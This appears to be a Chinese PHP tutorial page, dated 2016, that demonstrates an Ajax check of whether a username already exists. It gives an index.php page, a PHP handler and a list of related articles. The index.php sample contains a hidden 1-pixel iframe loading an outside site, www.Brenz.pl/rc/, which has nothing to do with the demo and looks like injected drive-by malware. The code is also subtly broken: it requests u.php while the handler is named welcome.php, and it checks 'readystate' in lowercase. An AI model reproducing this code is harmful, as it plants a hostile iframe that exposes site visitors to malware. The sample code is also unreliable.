PHP与Ajax相结合实现登录验证小Demo

 更新时间:2016年03月16日 09:56:45   作者:u014427391  
AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。接下来通过本文给大家分享PHP与Ajax相结合实现登录验证小Demo,对php ajax实现登录验证相关知识感兴趣的朋友一起学习吧

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?> 

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

相关文章

  • PHP三种方式实现链式操作详解

    PHP三种方式实现链式操作详解

    在php中有很多字符串函数,本篇文章主要介绍了PHP三种方式实现链式操作详解,具有一定的参考价值,有兴趣的可以了解一下。
    2017-01-01
  • 在VS Code 中调试远程服务器的PHP代码详解

    在VS Code 中调试远程服务器的PHP代码详解

    这篇文章主要介绍了在VSCode中调试远程服务器的PHP代码,这里通过xdebug配合vscode的php debug插件来实现,本文结合实例代码介绍的非常详细,需要的朋友可以参考下
    2023-07-07
  • PHP中new static()与new self()的比较

    PHP中new static()与new self()的比较

    在写代码时发现 new static(),觉得实例化的地方不是应该是 new self()吗?怎么回事?通过查阅相关资料才知道具体情况,下面小编整理下方便日后查找
    2016-08-08
  • php mysql 封装类实例代码

    php mysql 封装类实例代码

    这篇文章主要介绍了php mysql 封装类实例代码,非常不错,具有参考借鉴价值,需要的朋友可以参考下
    2016-09-09
  • thinkPHP5.0框架验证码调用及点击图片刷新简单实现方法

    thinkPHP5.0框架验证码调用及点击图片刷新简单实现方法

    这篇文章主要介绍了thinkPHP5.0框架验证码调用及点击图片刷新简单实现方法,结合简单示例形式分析了thinkPHP5框架验证码相关配置、后台验证、前台刷新等操作技巧,需要的朋友可以参考下
    2018-09-09
  • ThinkPHP5 的简单搭建和使用详解

    ThinkPHP5 的简单搭建和使用详解

    这篇文章主要介绍了ThinkPHP5 的简单搭建和使用详解,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-11-11
  • PHP中使用substr()截取字符串出现中文乱码问题该怎么办

    PHP中使用substr()截取字符串出现中文乱码问题该怎么办

    本文给大家介绍使用php substr()截取字符串出现乱码问题该怎么办,涉及到php substr()方法的一些知识点,感兴趣的朋友一起学习下吧
    2015-10-10
  • Thinkphp5行为使用方法汇总

    Thinkphp5行为使用方法汇总

    这篇文章主要介绍了Thinkphp5行为使用方法汇总,需要的朋友可以参考下
    2017-12-12
  • 提高php编程效率技巧

    提高php编程效率技巧

    php是全球范围应用范围最广的开发语言,php和linux、apache、mysql紧密结合,形成了lamp的开源黄金搭档。因其php具有开发周期短、免费、稳定、安全、简单易学、跨平台等优势,被评为最受欢迎的编程语言,下面小编给大家整理了提高php编程效率的20个要点,需要的可以参考
    2015-08-08
  • Laravel 验证码认证学习记录小结

    Laravel 验证码认证学习记录小结

    这篇文章主要介绍了Laravel 验证码认证学习记录小结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-12-12

最新评论